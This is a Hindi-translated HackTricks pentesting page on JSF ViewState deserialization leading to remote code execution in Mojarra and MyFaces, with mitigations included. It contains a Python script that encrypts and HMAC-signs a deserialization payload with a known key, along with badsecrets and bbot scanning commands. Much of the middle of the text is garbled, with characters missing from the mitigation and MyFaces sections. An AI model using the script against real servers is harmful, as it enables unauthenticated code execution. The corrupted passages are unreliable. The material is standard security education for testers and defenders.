hacktricks/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

213 lines
28 KiB
Markdown

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks क्लाउड ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 ट्विटर 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ ट्विच 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 यूट्यूब 🎥</strong></a></summary>
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
- [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके।**
</details>
# परिचय
हमने [गलत ढंग से कॉन्फ़िगर किए गए JSON पुस्तकालयों के माध्यम से RCE](https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html) पर एक नज़र डाली थी, उसके बाद हमने JSF अमलानुसार ViewStates का विश्लेषण किया। [JavaServer Faces (JSF)](https://en.wikipedia.org/wiki/JavaServer_Faces) एक यूज़र इंटरफ़ेस (UI) प्रौद्योगिकी है जो पुनर्योग्य घटकों के साथ वेब UI बनाने के लिए उपयोग होती है। JSF अधिकांश उद्योगी अनुप्रयोगों के लिए उपयोग होता है और एक JSF अमलानुसारन को आमतौर पर जावा अनुप्रयोग सर्वर जैसे JBoss EAP या WebLogic सर्वर पर चलने वाले वेब अनुप्रयोग द्वारा उपयोग किया जाता है। JSF विनिमय के दो प्रसिद्ध अमलानुसारन हैं:
* Oracle Mojarra (JSF संदर्भ अमलानुसारन)
* Apache MyFaces
# सीमा
इस ब्लॉग पोस्ट में हम दो JSF 2.x अमलानुसारन पर ध्यान केंद्रित करेंगे: Oracle Mojarra (संदर्भ अमलानुसारन) और Apache MyFaces। पुराने अमलानुसारन (JSF 1.x) को भी इस पोस्ट में वर्णित सुरक्षा दोषों का प्रभावित होने का संभावना है। (JSF 2.0.x को 2009 में प्रथम बार जारी किया गया था, वर्तमान संस्करण 2.3.x है)।
# ViewState की स्थिति
JSF और समकक्ष वेब प्रौद्योगिकियों के बीच एक अंतर है कि JSF ViewStates (सत्रों के अलावा) का उपयोग व्यू की वर्तमान स्थिति (उदाहरण के लिए, वर्तमान में कौन से हिस्से दिखाए जाएं) को संग्रहित करने के लिए करता है। ViewState को `सर्वर` या `ग्राहक` पर संग्रहीत किया जा सकता है। JSF ViewStates को आमतौर पर HTML फ़ॉर्म में छिपे हुए फ़ील्ड के रूप में स्वचालित रूप से समाविष्ट किया जाता है, जिसका नाम `javax.faces.ViewState` होता है। यदि फ़ॉर्म सबमिट किया जाता है, तो वे सर्वर को वापस भेजे जाते हैं।
## सर्वर-साइड ViewState
यदि JSF ViewState को `सर्वर` पर स्थापित किया जाता है, तो छिपे हुए `javax.faces.ViewState` फ़ील्ड में एक आईडी होती है जो सर्वर को सही स्थिति प्राप्त करने में मदद करती है। MyFaces के मामले में वह आईडी एक **संकलित जावा ऑब्जेक्ट** होती है!
## ग्राहक-साइड ViewState
यदि JSF ViewState को `ग्राहक` पर स्थापित किया जाता है, तो छिपे हुए `javax.faces.ViewState` फ़ील्ड में एक **संकलित जावा ऑब्जेक्ट** होती है जो कम से कम Base64 कोडिंग होती है। आपने शायद अब तक यह ध्यान दिया होगा कि यह एक संभावित आपदा का मार्ग है! शायद यही कारण है कि आजकल JSF ViewStates को ग्राहक को भेजने से पहले
# ViewState पर हमला
चलो मान लेते हैं कि हमारे पास एक वेब एप्लिकेशन है जिसमें एक JSF आधारित लॉगिन पेज है:
![JSF आधारित लॉगिन](https://www.alphabot.com/images/blog/jsf-viewstate/jsf-viewstate-login.png)
उस लॉगिन पेज में ViewState है जो न तो एन्क्रिप्टेड है और न ही साइन है। इसलिए जब हम इसके HTML स्रोत को देखते हैं तो हमें ViewState को समेत करने वाले एक छिपा हुआ फ़ील्ड दिखाई देता है: अनएन्क्रिप्टेड MyFaces ViewState:
```
<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />
```
यदि आप Base64 का उपयोग करके ऊपर दिए गए ViewState को डिकोड करें, तो आप देखेंगे कि इसमें एक सीरीयलाइज़ किया गया जावा ऑब्जेक्ट है। जब फ़ॉर्म सबमिट किया जाता है (उदाहरण के लिए, लॉगिन पर क्लिक करें), तो यह ViewState POST के माध्यम से सर्वर को वापस भेजा जाता है। अब ViewState को सर्वर को वापस POST करने से पहले ही हमलावर अपने खुद के विषादी ViewState को एटैकर ViewState के साथ बदल देता है, जो पहले से ही सर्वर के क्लासपथ पर मौजूद होता है (उदाहरण के लिए, `InvokerTransformer` commons-collections-3.2.1.jar से) या यहां तक कि जनता के लिए अभी तक नहीं जाना जाने वाला एक गैजेट। इस खतरनाक गैजेट को ViewState में रखकर हमलावर स्पष्ट करता है कि वह किस कमांड को सर्वर पर चलाना चाहता है। एक अटैकर की क्षमता उपलब्ध गैजेट्स की क्लासपथ की सीमा द्वारा सीमित होती है। `InvokerTransformer` के मामले में, हमलावर सर्वर पर कौन से कमांड लाइन कमांड चलाना चाहता है, वह निर्धारित कर सकता है। हमारे उदाहरण में हमलावर ने हमारे लिनक्स आधारित सर्वर के UI पर कैलकुलेटर शुरू करने का चयन किया।
जब अटैकर ने अपने संशोधित फ़ॉर्म को सर्वर को वापस भेजा है, तो JSF कार्यान्वयन प्रदान किए गए ViewState को डिसीरियलाइज़ करने का प्रयास करता है। अब विषादीकरण के पहले ही ViewState के अंत हो जाने पर कमांड चलाया जाता है और कैलकुलेटर सर्वर पर शुरू हो जाता है:
![JSF ViewState के माध्यम से शुरू हुआ कैलकुलेटर](https://www.alphabot.com/images/blog/jsf-viewstate/jsf-viewstate-started-calculator.png)
यह सब कुछ JSF कार्यान्वयन ViewState को देखने और यह निर्णय करने से पहले हो गया था कि यह अच्छा नहीं था। जब ViewState को अमान्य पाया गया था, तो आमतौर पर त्रुटि का जवाब क्लाइंट को भेजा जाता है जैसे "व्यू समाप्त हो गई है"। लेकिन फिर भी यह बहुत देर हो चुकी थी। हमलावर को सर्वर तक पहुंच मिल गई थी और कमांड चला दी गई थी। (अधिकांश वास्तविक दुनिया के हमलावर कैलकुलेटर शुरू नहीं करते हैं, लेकिन वे आमतौर पर एक रिमोट शेल डिप्लॉय करते हैं, जिसे वे फिर सर्वर तक पहुंचने के लिए उपयोग करते हैं।)
\=> समग्र रूप से यह उदाहरण एक बहुत खतरनाक गैर प्रमाणीकृत दूरस्थ कोड निष्पादन (RCE) संकट का एक बहुत अच्छा उदाहरण प्रदर्शित करता है।
(जैसा कि पहले चित्रित किया गया जेएसएफ़ के खिलाफ लगभग वही हमला परिदृश्य ऊपर वर्णित किया गया था और 2015 के प्रस्तुति में भी दिखाया गया था (पृष्ठ 65 से 67 तक): [Marshalling Pickles](https://frohoff.github.io/appseccali-marshalling-pickles/) जिसे फ्रोहोफ और लॉरेंस ने आयोजित किया था।)
# एक सफल हमले के लिए पूर्वापेक्षाएं
अब, एक आपदा के लिए क्या घटक हैं?
* अनएन्क्रिप्टेड ViewState (या, एन्क्रिप्शन कुंजी के स्वामित्व)
* सर्वर की क्लासपथ पर गैजेट
* Mojarra के मामले में: ViewState को `client` पर स्थापित करना
* MyFaces के मामले में: ViewState को `client` **या** `server` पर स्थापित करना
चलिए दोनों JSF कार्यान्वयनों के संबंध में उन बिंदुओं पर एक नज़र डालें।
# ओरेकल मोजारा (JSF संदर्भ अमलीय)
जैसा कि पहले कहा गया है, ओरेकल मोजारा JSF संदर्भ अमलीय है लेकिन उस नाम के तहत जाना नहीं जा सकता है। यह सन JSF RI के रूप में जाना जा सकता ह
## Mojarra: ViewState को क्लाइंट पर संरक्षित करने के लिए कॉन्फ़िगर किया गया है
Mojarra की डिफ़ॉल्ट `javax.faces.STATE_SAVING_METHOD` सेटिंग `server` है। विकासक को इसे मैन्युअल रूप से `client` में बदलना होगा ताकि Mojarra उपरोक्त विधि के हमले के प्रति संक्रमित हो सके। यदि सीरीयलाइज़्ड ViewState को सर्वर पर भेजा जाता है लेकिन Mojarra `server` साइड ViewState सेव का उपयोग करता है, तो यह उसे डिसीरियलाइज़ नहीं करेगा (हालांकि, `StringIndexOutOfBoundsException` हो सकती है)।
## Mojarra: सुरक्षा उपाय
Mojarra का उपयोग करते समय सर्वर-साइड ViewState का उपयोग करने के लिए कुछ भी करने की आवश्यकता नहीं होती है।
Mojarra < 2.2 उपय करते समय और क्लइंट-सइड ViewState उपय करने के ि िम्नलिि संभि सुरक्ष उप हैं:
* Mojarra 2.0.11-04 2.1.29-08 में अपडेट करें
* क्लइंट-सइड ViewState बज सर्वर-सइड ViewState उपय करें
* पुरने संस्करण के Mojarra उपय करते समय और अपडेट सर्वर-सइड ViewState में स्वि करने संभवन ने पर: एक अस्थ सम के रूप में ViewState सवर्ड सेट करें और सुनिश्चि करें ि यह सह पैरटर है (अनिर्य रूप से संबंधि दस्तवेज़करण में ि गय सवर्ड नह ि)
के Mojarra संस्करण के िए:
* पैरटर के ध्यम से ViewState एन्क्रिप्शन अक्षम नह है यह सुनिश्चि करें: `com.sun.faces.disableClientStateEncryption`
# Apache MyFaces
Apache MyFaces एक और बड़ और व्यपकत से उपय ने JSF अमलनुस है
## MyFaces: अनएन्क्रिप्टेड ViewState
MyFaces िफ़ल्ट रूप से ViewState एन्क्रिप्ट करत है, जैस ि उनके [सुरक्षा कॉन्फ़िगरेशन विकि पृष्ठ](https://wiki.apache.org/myfaces/Secure_Your_Application) में उल्लेख ि गय है:
> एन्क्रिप्शन डिफ़ॉल्ट रूप से सक्षम होता है। ध्यान दें कि उत्पादन वातावरण में एन्क्रिप्शन का उपयोग किया जाना चाहिए और इसे अक्षम करना केवल परीक्षण/विकास वातावरण में मान्य हो सकता है।
ंकि, पैरटर `org.apache.myfaces.USE_ENCRYPTION` `false` पर सेट करके ViewState एन्क्रिप्शन अक्षम ि सकत है (यह एन्क्रिप्शन उपय करन संभव लेकि एक आस अनुम लगने ग्य सवर्ड सेट करन संभव ा)। िफ़ल्ट रूप से MyFaces हर सर्वर पुनररंभ के ViewState एन्क्रिप्शन क्रेट बदलत है
िफ़ल्ट रूप से MyFaces `DES` उपय एन्क्रिप्शन एल्गिदम और `HMAC-SHA1` उपय ViewState प्रमिि करने के ि करत है `AES` और `HMAC-SHA256` जैसे नवनतम एल्गिदम न्फ़िगर करन संभव और अनुशंसि है
## MyFaces: ViewState को क्लाइंट पर संरक्षित करने के लिए कॉन्फ़िगर किया गया है
MyFaces िफ़ल्ट `javax.faces.STATE_SAVING_METHOD` सेटिंग `server` है लेकिन: **MyFaces हमेशा ViewState को डिसीरियलाइज़ करता है**, हे उस सेटिंग के वजूद इसलि, [MyFaces का उपयोग करते समय एन्क्रिप्शन को अक्षम न करें](https://issues.apache.org/jira/browse/MYFACES-4021) बहुत महत्व है!
(हमने MyFaces बग ट्रैकर में एक मुद्द बन है: [MYFACES-4133 स्थिति सहेजने की विधि सर्वर होने पर ViewState-ID को डिसीरियलाइज़ न करें](https://issues.apache.org/jira/browse/MYFACES-4133), यद [इस बार](https://issues.apache.org/jira/browse/MYFACES-4021) सुरक्षि िफ़ल्ट इच्छ पूर एगी।)
## MyFaces: सुरक्षा उपाय
MyFaces उपय करते समय सर्वर-सइड ViewState एन्क्रिप्शन अक्षम करें (द्व `org.apache.myfaces.USE_ENCRYPTION`) हे ViewState क्लइंट पर संग्रहि सर्वर पर
## कस्टम एन्क्रिप्शन
यदि ि तरह से आप सवर्ड करने में सफल ते हैं, आप वेब सर्वर पर हमल करने के ि इस स्क्रिप्ट उपय करके पेल एन्क्रिप्ट और इन कर सकते हैं:
```python
#!/usr/bin/python3
import sys
import hmac
from urllib import parse
from base64 import b64encode
from hashlib import sha1
from pyDes import *
YELLOW = "\033[93m"
GREEN = "\033[32m"
def encrypt(payload,key):
cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
enc_payload = cipher.encrypt(payload)
return enc_payload
def hmac_sig(enc_payload,key):
hmac_sig = hmac.new(key, enc_payload, sha1)
hmac_sig = hmac_sig.digest()
return hmac_sig
key = b'JsF9876-'
if len(sys.argv) != 3 :
print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
else:
with open(sys.argv[1], "rb") as f:
payload = f.read()
f.close()
print(YELLOW + "[+] Encrypting payload")
print(YELLOW + " [!] Key : JsF9876-\n")
enc_payload = encrypt(payload,key)
print(YELLOW + "[+] Creating HMAC signature")
hmac_sig = hmac_sig(enc_payload,key)
print(YELLOW + "[+] Appending signature to the encrypted payload\n")
payload = b64encode(enc_payload + hmac_sig)
payload = parse.quote_plus(payload)
print(YELLOW + "[*] Final payload : {}\n".format(payload))
with open(sys.argv[2], "w") as f:
f.write(payload)
f.close()
print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))
```
# Badsecrets के साथ ज्ञात कुंजी का पता लगाना
![Badsecrets](https://github.com/blacklanternsecurity/badsecrets) एक पुस्तकलय है उपय कमज कुंजि सूच के ि ंच करके उत्प देखकर ज्ञ तकन कुंजि उपय पत लग सकत है इसक `Jsf_viewstate` ड्यूल Mojarra और MyFaces पर ज्ञ कुंजि के बन गए सर्वर फेस व्यूस्टेट पत लग सकत है, असुरक्षि संपि व्यूस्टेट्स ी।
इसे सबसे तेज़ तरके से उपय करने के ि `cli.py` उदहरण उपकरण के िम्नलिि रूप में ि सकत है:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/cli.py Ly8gp+FZKt9XsaxT5gZu41DDxO74k029z88gNBOru2jXW0g1Og+RUPdf2d8hGNTiofkD1VvmQTZAfeV+5qijOoD+SPzw6K72Y1H0sxfx5mFcfFtmqX7iN6Gq0fwLM+9PKQz88f+e7KImJqG1cz5KYhcrgT87c5Ayl03wEHvWwktTq9TcBJc4f1VnNHXVZgALGqQuETU8hYwZ1VilDmQ7J4pZbv+pvPUvzk+/e2oNeybso6TXqUrbT2Mz3k7yfe92q3pRjdxRlGxmkO9bPqNOtETlLPE5dDiZYo1U9gr8BBQ=
```
![](https://user-images.githubusercontent.com/24899338/227623883-f760570d-796e-459d-87b0-b87ad33999ae.png)
यदि यह िलत है, यह प्लेटफ़र्म (Mojarra MyFaces), उपय में एन्क्रिप्शन एल्गिदम, और कंप्रेशन उपय करत है नह, सभ उत्पड़न के ि आवश्यक हैं
व्यपक त्र में जने के ि, सबडमेन गणन के , `badsecrets` [**BBOT**]() ड्यूल उपय ि सकत है:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
![](https://user-images.githubusercontent.com/24899338/227626488-e45e99b2-0f6d-451e-8a43-7d6db75098de.png)
# अंतिम विचार
इस ब्ल स्ट में ि गए जेएसएफ व्यूस्टेट के रे में अधिंश तथ्य और उनके खतर नए नह कह गय है, लेकि ऐसे संक्षेपि तरके में कभ पेश नह ि गय ा। यह एक ि से ि गय है ि िवट रूप से िरक न्फ़िगरेशन बदल गंभ सुरक्ष खतर रण बन सकते हैं
\=> एक समस्या में यह लगता है कि सुरक्षा शोधकर्ताओं और विकासकर्ताओं के बीच पर्याप्त ज्ञान संचार नहीं होता है, जो वास्तव में उन लाइब्रेरीज़ का उपयोग करते हैं और कॉन्फ़िगर करते हैं जो निश्चित तरीके से खतरनाक हो सकती हैं।
# संदर्भ
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को पीडीएफ़ में डाउनलोड** करने की इच्छा रखते हैं? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
- प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर सबमिट करके साझा करें।**
</details>